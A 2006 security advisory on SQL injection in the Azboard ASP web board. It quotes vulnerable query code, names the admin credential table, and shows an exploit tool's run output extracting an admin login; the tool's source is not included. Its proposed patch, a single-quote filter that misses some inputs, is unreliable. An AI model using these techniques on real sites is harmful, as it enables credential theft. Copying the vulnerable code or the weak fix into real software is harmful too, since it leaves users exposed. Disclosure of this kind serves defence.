SecurityReason - Azboard <= 1.0 Multiple Sql Injections

Advisory Text :

Title : Azboard <= 1.0 Multiple Sql Injections

Published : 2006.5.14

Author : x90c(정경주)@chollian.net/~jyj9782/

Link : http://user.chol.com/~jyj9782/sec/azboard_advisory.txt

0x01 Summary

Azboard is a web board written in asp (active server pages).

It has a sql injection hole. so we can get the admin(bbs)'s

Id and password and so on. let's start to see what is the code..

0x02 Codes

~/azboard/list.asp:

-

49: if searchstring<>"" then

50: sql="select count(board_idx) from board where " & search & " like '%" &
searchstring & "%' and cate='"&cate&"' "

51: else

52: sql="select count(board_idx) from board where cate='"&cate&"'"

53: end if

-

above lines are vulnerable to sql attak as you can see. y0! ;)~

~/azboard/admin_ok.asp:

-

27: SQL = "SELECT cate,admin_id,admin_pass,board_name FROM board_admin
where admin_id='"&id&"' and cate='"&cate&"'"

-

i found the fields('admin_id', 'admin_pass') and table('board_admin') in
this file.

0x03 Exploit

[root@ebp exploits]# ls -al azboard_blue.c

-rw-r--r-- 1 root root 4771 5월 14 23:30
azboard_blue.c

[root@ebp exploits]# ls -al azboard_blue

-rwxr-xr-x 1 root root 17163 5월 14 23:30 azboard_blue

[root@ebp exploits]#

[root@ebp exploits]# make azboard_blue

cc azboard_blue.c -o azboard_blue

azboard_blue.c: In function `tu1':

azboard_blue.c:55: warning: assignment makes pointer from integer without a
cast

azboard_blue.c:59: warning: assignment makes pointer from integer without a
cast

azboard_blue.c:63: warning: assignment makes pointer from integer without a
cast

azboard_blue.c:67: warning: assignment makes pointer from integer without a
cast

[root@ebp exploits]# ./azboard_blue

azaboard 1.0 <= 0day :

$ ./azboard_blue <azboard URL> <cate>

~ x90c (at) chollian (dot) net [email concealed]/~jyj9782

[root@ebp exploits]#

[root@ebp exploits]# ./azboard_blue http://192.168.0.5 testbbs

[ LANG=KOR admin id ] admin

[ LANG=KOR admin pass ] 1234

[root@ebp exploits]#

0x04 Patch

~/azboard/list.asp:

..

if instr(search, "'") > 0 or instr(cate, "'") > 0 or instr(cate, "'") > 0
then

Response.redirect "error.asp"

end if

..

Thanks for many 0p3n-H4ck3rz!

- Blu3h4t Team.